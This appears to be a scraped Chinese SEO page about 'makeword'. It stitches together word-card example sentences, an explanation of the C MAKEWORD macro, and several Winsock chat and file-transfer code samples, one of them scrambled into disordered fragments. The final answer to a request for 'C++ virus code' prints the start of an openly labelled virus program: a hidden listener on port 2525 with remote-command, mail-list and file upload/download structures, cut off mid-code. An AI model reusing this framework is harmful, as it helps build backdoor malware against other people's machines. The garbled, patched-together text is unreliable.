makeword c makeword
发布日期:2020-08-14摘要:【makewordTake out your word card , please 拿出单词卡片。The teacher flashed up each word card to see if th...
【makeword
Take out your word card , please .拿出单词卡片。
The teacher flashed up each word card to see if the children would recognize it.老师举起一张张单词卡片,看学生是否可以辨识。
Mother put some "cat" word card posted in the house, and then take a everywhere "cat" word card, please help it find baby friend (let the baby took off in the word CARDS everywhere stick).妈妈把一些“小花猫”字卡贴在屋内各处,然后再拿一张“小花猫”字卡,请宝宝帮它找朋友(让宝宝摘下贴在各处的字卡)。
Please buy the disk and word card from the book store.请还没有购买光碟和卡片的家长尽快购买。
Each teacher throws the dice in turn. You can take a piece of English word card of 4 or 6 level according to you ability if you throw the dice with 2 or 4 or 6.每位教师轮流掷,掷到2 4 6 可以根据自己的情况从四级或六级单词卡片的箱子里抽取一张卡片并且大声读出来。
T say the story and get Ss show the word card when they hear it.故事是学生喜闻乐见的,听一听出示单词,训练并检查了学生的听力。
Review the sounds Teacher makes a sound of a letter and shows a word card. If the word including the sound, students clap and read the word. Or not students just stomp.通过拍手、跺脚的身体运动,来复习字母和其发音,既测试学生反应速度,又从一开始就调动学生的积极性。
Clothing brand has become one occupational characteristics, quality of life, a status symbol, as the modern "free word business card."服装的品牌已然成为人们职业特点、生活品位、身份地位的象征,成为现代人的“无字名片”。
Put one English word on each card, and then put either the translation or the English definition on the back.After you study the words, review them quickly to see how many words you remember.在每个卡片上写下一个单词,背面写上中文或者英文注释。
学习了单词后,快速复习一遍来检查你记住了多少个?
#define MakeWord(a,b) ((WORD) (((BYTE) (a)) | ((WORD) ((BYTE) (b))) ...
"|" 是按位或运算符,对整型数进行二进制按位取或运算。
比如0110 0011| 0011 0101--------------------= 0111 0111定义MakeWord(a, b) 的含义应该是将a b合成一个字(双字节),比如 MakeWord(0xaa, 0xbb) 结果应该是0xbbaa,a在低字节,转换成BYTE只留下一字节的内容,b也留下一字节并左移做高字节,通过按位或运算符将两者合并到一起。
求一基于SOCKET的C编程聊天代码,简单点好了
客户端 #include #include void main() { WORD wVersionRequested; WSADATA wsaData; int err; wVersionRequested = MAKEWORD( 1, 1 ); err = WSAStartup( wVersionRequested, &wsaData ); if ( err != 0 ) { return; } if ( LOBYTE( wsaData.wVersion ) != 1 || HIBYTE( wsaData.wVersion ) != 1 ) { WSACleanup( ); return; } SOCKET sockClient=socket(AF_INET,SOCK_STREAM,0); SOCKADDR_IN addrSrv; addrSrv.sin_addr.S_un.S_addr=inet_addr("127.0.0.1"); addrSrv.sin_family=AF_INET; addrSrv.sin_port=htons(6000); connect(sockClient,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR)); char recvBuf[100]; recv(sockClient,recvBuf,100,0); printf("%s\n",recvBuf); send(sockClient,"This is lisi",strlen("This is lisi")+1,0); closesocket(sockClient); WSACleanup(); } 服务器端 #include #include void main() { WORD wVersionRequested; WSADATA wsaData; int err; wVersionRequested = MAKEWORD( 1, 1 ); err = WSAStartup( wVersionRequested, &wsaData ); if ( err != 0 ) { return; } if ( LOBYTE( wsaData.wVersion ) != 1 || HIBYTE( wsaData.wVersion ) != 1 ) { WSACleanup( ); return; } SOCKET sockSrv=socket(AF_INET,SOCK_STREAM,0); SOCKADDR_IN addrSrv; addrSrv.sin_addr.S_un.S_addr=htonl(INADDR_ANY); addrSrv.sin_family=AF_INET; addrSrv.sin_port=htons(6000); bind(sockSrv,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR)); listen(sockSrv,5); SOCKADDR_IN addrClient; int len=sizeof(SOCKADDR); while(1) { SOCKET sockConn=accept(sockSrv,(SOCKADDR*)&addrClient,&len); char sendBuf[100]; sprintf(sendBuf,"来自服务器端", inet_ntoa(addrClient.sin_addr)); send(sockConn,sendBuf,strlen(sendBuf)+1,0); char recvBuf[100]; recv(sockConn,recvBuf,100,0); printf("%s\n",recvBuf); closesocket(sockConn); } }
"I"
/*服务器编程思路;0 };//接受 char %s" //1.创建套接字socket-- (sockaddr *)&0); //地址处理以及端口处理 sockaddr_in .h>#include = ; if (getchar()) { return //加载库#pragma //客户端:connect connect(s;= socket(AF_INET;conio,"str;stdio; printf(".关闭套接字*/#define = MAKEWORD(2, .释放套接字资源*/#define //getchar(); } //关闭 closesocket(s), , .h>#include #include #pragma addr, addr2; int size = 0); WSAStartup(v, &0 };//输出 //1;stdio;, arr);str); //fflush(stdin); //getchar(); } printf("请输入聊天信息:"); scanf(", .S_addr .把套接字设置为监听状态---等待接受客户端消息4.接受消息;{ 0 .请求连接后:WSAStartup(v, &ws2_32.lib", <.绑定地址 //2.1 )//显示加载套接字库int = inet_addr("127.0.0.1"ws2_32.lib"main(){ //初始化套接字库 ---WSAStartup; WSADATA data,返回一个用连接的新的套接字5.新套接字用通信6;s2; //家族:ip地址IPv4 IPv6 //协议类型 //用户不确定什么方式 .sin_family addr, arr[1024] = ::recv(s; fflush(stdin); //break;data).sin_family } return 0;}服务器端::socket(AF_INET!= nullptr) { printf("#include ,进行通信操作4.创建套接字库 SOCKET s #include htons(75);= { :send(s, put, sizeof(put), 0);arr); :;(1) { ; addr;#include  客户端;data);0); :; WORD v stdlib.h>sizeof(str);<, char str[1024] };0); if (str , );0;<: /*客户端编程思路1.创建套接字socket2;= AF_INET; addr.sin_port = htons(75); //htons 转换为u_short //设置主机地址 addr.sin_addr.S_un.S_addr = INADDR_ANY; //INADDR_ANY 任何ip都可以接入 //2.套接字绑定本地的地址和端口 //bind(SOCKET s,const sockaddr* addr,int namelen) ::bind(s, (sockaddr *)&addr, sizeof(addr)); //3.监听 ::listen(s, 5); printf("服务器端已启动:\n"); char arr[1023] = { 0 }; char str[1024] = { 0 }; char put[1024] = { 0 }; //connect(s2, (sockaddr *)&addr, sizeof(addr)); while (true) { //4.接受消息,返回一个用连接的新的套接字 //accept(SOCKET s,sockaddr* addr,int *namelen) s2 = ::accept(s, (sockaddr *)&addr2, &size); printf("%s已经连上.\n", inet_ntoa(addr2.sin_addr)); if (s2 != NULL) { // 5.新套接字用通信 //inet_ntoa讲地址转换为字符串 //send(SOCKET s,char *buffer,size_t size,int flags) while (1) { printf("请输入聊天信息: "); //I love you ----字符串处理 scanf("%s", arr); strcpy(str, arr); ::send(s2, str, sizeof(str), 0); fflush(stdin); recv(s2, put, sizeof(put), 0); printf("客户端说:%s\n", put); fflush(stdin); //break; } getchar(); } // 6.关闭套接字 closesocket(s); closesocket(s2); WSACleanup(); if (getchar()) { return 0; } else { ::Sleep(100); } } system("pause"); return 0;}可以实现简单的局域网聊天.如果想换成公网,需要做地址映射. 这是C语言中比较重要的TCP/IP 通信编程;comment(lib
谁能给个C语言socket 通信,用UDP协议的代码例子。
。
#include #include #include #include #include #include #include int main(void){int sfd; char buf[1024]; int n, i;struct sockaddr_in serv_addr, cli_addr;socklen_t len;sfd = socket(AF_INET, SOCK_DGRAM, 0);memset(&serv_addr, 0, sizeof(serv_addr));serv_addr.sin_family = AF_INET;serv_addr.sin_port = htons(8000);inet_pton(AF_INET, "192.168.0.36", &serv_addr.sin_addr.s_addr);while(1) {if(fgets(buf, 1024, stdin) == NULL)break;sendto(sfd, buf, strlen(buf), 0, (struct sockaddr *)&serv_addr, sizeof(serv_addr));n = recvfrom(sfd, buf, 1024, 0, NULL, NULL);write(STDOUT_FILENO, buf, n);}close(sfd);return 0;}#include #include #include #include #include int main(void){int sfd; char buf[1024]; int n, i;struct sockaddr_in serv_addr, cli_addr;socklen_t len;sfd = socket(AF_INET, SOCK_DGRAM, 0);memset(&serv_addr, 0, sizeof(serv_addr));serv_addr.sin_family = AF_INET;serv_addr.sin_port = htons(8000);serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);bind(sfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));while(1) {len = sizeof(cli_addr);n = recvfrom(sfd, buf, 1024, 0, (struct sockaddr *)&cli_addr, &len);for(i = 0; i < n; i++)buf[i] = toupper(buf[i]);sendto(sfd, buf, n, 0, (struct sockaddr *)&cli_addr, len);}close(sfd);return 0;}
用C语言编写服务器端和客户机端的关键部分代码!
//服务端 C++#include "stdafx.h"#include "stdio.h"#include "winsock2.h"#include using std::vector; SOCKET s; vector cc; void onAccept() { sockaddr_in sa; int add_len = sizeof(sa); SOCKET c = accept(s,(sockaddr*)&sa,&add_len); if(c!=INVALID_SOCKET) { printf("client:%s port:%d connected!\n",inet_ntoa(sa.sin_addr),sa.sin_port); send(c,"hello",5,0); cc.push_back(c); } else { printf("invalid connect\n"); } } void onRecv(const fd_set &fs) { for(int i=0;i { if(FD_ISSET(cc[i],&fs)) { char buffer[256]={0}; int rc= recv(cc[i],buffer,255,0); if(rc>0) { printf("recv msg:%s\n",buffer); send(cc[i],buffer,strlen(buffer)+1,0); } else if(rc == SOCKET_ERROR) { printf("recv msg failed:%d\n",::WSAGetLastError()); closesocket(cc[i]); cc.erase(cc.begin()+i); break; } } } } int main(int argc, char* argv[]) { //init WORD wVersionRequested; WSADATA wsaData; wVersionRequested = MAKEWORD( 2, 2 ); WSAStartup( wVersionRequested, &wsaData ); s = socket(AF_INET,SOCK_STREAM,0); if(s!=INVALID_SOCKET) { printf("create socket success!\n"); } { sockaddr_in sa; sa.sin_family = AF_INET; sa.sin_port = htons( 1500 ); sa.sin_addr.s_addr = 0 ; //*2????¨μ??· int rc = bind(s,(sockaddr *)&sa,sizeof(sa)); if(rc == SOCKET_ERROR) { printf("bind failed:%d\n",::WSAGetLastError()); return -1; } } listen(s,SOMAXCONN); timeval timeout={0,100}; while(true) { fd_set fs; FD_ZERO(&fs); FD_SET(s,&fs); int rc = select(0,&fs,0,0,&timeout); if(rc>0) { onAccept(); } else if(rc == 0) { //printf("no connect!\n"); } else { printf("select1 error:%d\n",::WSAGetLastError()); } if(cc.size()>0) { FD_ZERO(&fs); for(int i=0;i { FD_SET(cc[i],&fs); } rc = select(0,&fs,0,0,&timeout); if(rc>0) { onRecv(fs); } else if(rc == 0) { //printf("no recv!\n"); } else { printf("select2 error:%d\n",::WSAGetLastError()); } } } closesocket(s); //clean WSACleanup( ); return 1; }//=====================[client]====================#include "stdafx.h"#include #include #include #include SOCKET c; unsigned int __stdcall myrecv(void *) { while(true) { char recv_buffer[256]={0}; int rc =recv(c,recv_buffer,255,0)>0; if(rc>0) { printf("recv:%s\n",recv_buffer); } else if(rc==SOCKET_ERROR) { printf("recv failed:%d\n",::WSAGetLastError()); break; } } _endthreadex(0); return 0; } int main(int argc, char* argv[]) { //init WORD wVersionRequested; WSADATA wsaData; wVersionRequested = MAKEWORD( 2, 2 ); WSAStartup( wVersionRequested, &wsaData ); c = socket(AF_INET,SOCK_STREAM,0); if(c!=INVALID_SOCKET) { printf("create socket success!\n"); } //connect { sockaddr_in sa; sa.sin_family = AF_INET; sa.sin_port = htons( 1500 ); sa.sin_addr.s_addr = inet_addr("127.0.0.1") ; //*2????¨μ??· int rc = connect(c,(sockaddr *)&sa,sizeof(sa)); if(rc == SOCKET_ERROR) { printf("connect failed:%d\n",::WSAGetLastError()); return -1; } } _beginthreadex(0,0,&myrecv,0,0,0); int count = 0; timeval timeout={0,100}; while(true) { char send_buffer[256]={0}; sprintf(send_buffer,"s%d",count++); int rc = send(c,send_buffer,strlen(send_buffer),0); if(rc>0) { printf("send:%s\n",send_buffer); } else if(rc==SOCKET_ERROR) { printf("send failed:%d\n",::WSAGetLastError()); break; } } closesocket(c); //clean WSACleanup( ); return 0; }
基于socket的C语言文件传输 求代码
//发送#include #include #pragma comment(lib, "ws2_32.lib")void main() {// 初始化 WSADATA wsaData; int iResult = WSAStartup( MAKEWORD(2,2), &wsaData ); if ( iResult != NO_ERROR ) printf("Error at WSAStartup()\n"); // 建立socket SOCKET server; server = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); if ( server == INVALID_SOCKET ) { printf( "Error at socket(): %ld\n", WSAGetLastError() ); WSACleanup(); return; } // 绑定socket sockaddr_in service; service.sin_family = AF_INET; service.sin_addr.S_un.S_addr = INADDR_ANY; //service.sin_addr.s_addr = inet_addr( "127.0.0.1" ); service.sin_port = htons(8000); if ( bind( server, (SOCKADDR*) &service, sizeof(service) ) == SOCKET_ERROR ) { printf( "bind() failed.\n" ); closesocket(server); return; } // 监听 socket if ( listen( server, 1 ) == SOCKET_ERROR ) printf( "Error listening on socket.\n"); // 接受连接 SOCKET AcceptSocket; printf( "Waiting for a client to connect...\n" ); while (1) { AcceptSocket = SOCKET_ERROR; while ( AcceptSocket == SOCKET_ERROR ) { AcceptSocket = accept( server, NULL, NULL ); } printf( "Client Connected.\n"); server = AcceptSocket; break; } // 发送接受数据// int bytesSent; char sendbuf[1024];//发送缓冲区 //DWORD dwFileSize;//文件大小 DWORD dwRead; BOOL bRet; char filename[]="c:\\1.pdf"; HANDLE hFile=CreateFile(filename,GENERIC_READ,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0); //dwFileSize=GetFileSize(hFile,NULL); while(true) { bRet=ReadFile(hFile,sendbuf,1024,&dwRead,NULL); if(bRet==FALSE) { MessageBox(NULL,"Read Buf ERROR!","Error",MB_OK); break; } else if(dwRead==0) { MessageBox(NULL,"Send file OK!","OK",MB_OK); break; } else { send(server,sendbuf,dwRead,0); } }; CloseHandle(hFile); return;}///////////////////////////////////////////////////////////////////////////////////////////////////////// //接收文件#include #include #pragma comment(lib, "ws2_32.lib")void main() { // 初始化 Winsock. WSADATA wsaData; int iResult = WSAStartup( MAKEWORD(2,2), &wsaData ); if ( iResult != NO_ERROR ) printf("Error at WSAStartup()\n"); // 建立socket socket. SOCKET client; client = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); if ( client == INVALID_SOCKET ) { printf( "Error at socket(): %ld\n", WSAGetLastError() ); WSACleanup(); return; } // 连接到服务器. sockaddr_in clientService; clientService.sin_family = AF_INET; clientService.sin_addr.s_addr = inet_addr( "127.0.0.1" ); clientService.sin_port = htons( 8000 ); if ( connect( client, (SOCKADDR*) &clientService, sizeof(clientService) ) == SOCKET_ERROR) { printf( "Failed to connect.\n" ); WSACleanup(); return; } char recvbuf[1024];//发送缓冲区 int read; DWORD dwWrite; BOOL bRet; // 发送并接收数据. char filename[]="d:\\1.pdf"; HANDLE hFile=CreateFile(filename,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); while(true) { read=recv( client, recvbuf, 1024, 0 ); if(read==-1)break; bRet=WriteFile(hFile,recvbuf,read,&dwWrite,NULL); if(bRet==FALSE) { MessageBox(NULL,"Write Buf ERROR!","Error",MB_OK); break; } } MessageBox(NULL,"Receive file OK!","OK",MB_OK); return;}
求C++病毒代码
/* 分布式病毒协议的C/C++描述代码 Coded by Vxk in CVC CopyRight? 2001-2002 2002.10.18..night */ #include #include #include #include #include #include typedef struct CONNINST { SOCKET socket; /* 本地Socket号 */ unsigned short clientPort; /* 客户端端口 */ struct in_addr clientIP; /* 客户端IP地址 */ time_t beginTime; /* 连接建立时间 - 预留 */ time_t updateTime; /* 最后更新时间 - 预留 */ WORD lastestSequenceNumber; /* 最新包序号 */ unsigned short key; /* 密钥 - 预留*/ unsigned short cmdLen; /* 结果堆长度 */ char *pCmd; /* 命令堆 */ unsigned short resultLen; /* 结果堆长度 */ char *pResult; /* 结果堆 */ struct CONNINST* next; /* 下一个请求实例的地址 */ }CONNINST, *pCONNINST; typedef struct Maillist { String Address; String Name; Struct Maillist *pNext; }Maillist,*pMaillist; typedef struct Moudlelist { String MoudleName; String MoudleFileName; String MoudleGuid; String UseFor; String MoudleAuther; Struct Moudlelist *pNext; }Moudlelist,*pMoudlelist; typedef struct FileUpData { struct in_addr clientIP; DWORD port; DWORD SAMGuid; String FileName; lvoid cmd; }FileUpData,*pFileUpData; typedef struct DVPPak { String SAMCommand; String Guid; String Auther; lvoid Cmd; pMaillist *pMail; pMoudlelist *pMoudle; String Versionofme; pmyPCinfo *pcinfo; }DVPPak, *pDVPPak; HINSTANCE hInst; /* 当前实例句柄 */ HWND hWndMain; /* 主窗口句柄 */ SOCKET listenSocket; /* 监听套接口 */ pCONNINST pConnInstHead; pCONNINST addConnInst(SOCKET, unsigned short, struct in_addr); pCONNINST getConnInst(SOCKET); void OnWrite(SOCKET socket); int netHalt(void); void delConnInst(pCONNINST); Void DvpExpCmd(Socket s); void delAllConnInst(void); void RecvFileThreadProc(pFileUpData *plm); void SendFileThreadProc(pFileUpData *plm); int uiStartup(HINSTANCE hInstance, int nCmdShow); LRESULT CALLBACK MainWndProc(HWND,UINT,WPARAM,LPARAM); int netStartup(void); void OnAccept(SOCKET socket); void OnClose(SOCKET socket); void OnRead(SOCKET socket); void sendResult(SOCKET socket); int netStartup(void) { unsigned short wVersionRequested=MAKEWORD(1,1); WSADATA wsaData; SOCKADDR_IN saServer; DWORD dwAddrStrLen; char szAddress[128]; int nRet; /* 初始化WinSock */ if(WSAStartup(wVersionRequested, &wsaData)!=0) { //("Dvp 错误 :: 网络协议启动失败,请重新启动计算机."); } /* 检查Winsock版本 */ if(wsaData.wVersion != wVersionRequested) { //("Dvp 错误 :: 网络协议版本错误,请升级Winsock."); } /* 创建流式套接口 */ listenSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(listenSocket==INVALID_SOCKET) { //("ERROR :: Can not create steam socket."); return 0; } /* 通知套接口有请求事件发生 */ nRet=WSAAsyncSelect(listenSocket, hWndMain, //在网络事件发生时需要接收消息的窗口句柄 UM_ASYNC, //在网络事件发生时要接收的消息 FD_ACCEPT | FD_READ | FD_WRITE | FD_CLOSE); //只在程式开始执行一次,以后只要有套接口请求就发送消息 if (nRet==SOCKET_ERROR) { //("ERROR :: Can not initialize steam socket."); closesocket(listenSocket); return 0; } /* 地址结构设定 */ saServer.sin_port=htons(2525); //端口在这里哦 saServer.sin_family=AF_INET; saServer.sin_addr.s_addr=INADDR_ANY; /* 将一本地地址3872与套接口listenSocket捆绑 */ nRet=bind(listenSocket, (LPSOCKADDR)&saServer, sizeof(struct sockaddr)); if (nRet==SOCKET_ERROR) { //("ERROR :: Can not bind socket to local port 1936."); //("HINT :: Dvp Kernel Server can only run in one thread."); closesocket(listenSocket); return 0; } /* 让套接口开始监听 */ nRet = listen(listenSocket, SOMAXCONN); if (nRet == SOCKET_ERROR) { //("ERROR :: Can not listen."); closesocket(listenSocket); return 0; } dwAddrStrLen = sizeof(szAddress); GetLocalAddress(szAddress, &dwAddrStrLen); return 1; } /* Unknown how */ int GetLocalAddress(LPSTR lpStr, LPDWORD lpdwStrLen) { struct in_addr *pinAddr; LPHOSTENT lpHostEnt; int nRet; int nLen; // Get our local name nRet = gethostname(lpStr, *lpdwStrLen); if(nRet==SOCKET_ERROR) { lpStr[0]="\0"; return SOCKET_ERROR; } // "Lookup" the local name lpHostEnt=gethostbyname(lpStr); if(lpHostEnt==NULL) { lpStr[0] = "\0"; return SOCKET_ERROR; } // format first address in the list pinAddr=((LPIN_ADDR)lpHostEnt->h_addr); nLen=strlen(inet_ntoa(*pinAddr)); if((DWORD)nLen>*lpdwStrLen) { *lpdwStrLen=nLen; WSASetLastError(WSAEINVAL); return SOCKET_ERROR; } *lpdwStrLen = nLen; strcpy(lpStr, inet_ntoa(*pinAddr)); return 0; } int uiStartup(HINSTANCE ...
-
给我们打电话
7*24小时服务热线:1399999999
全国客服热线:400-0000-000 -
百度地图
福建省漳州市 -
给我们发邮件
E-mail:[email protected]
在线沟通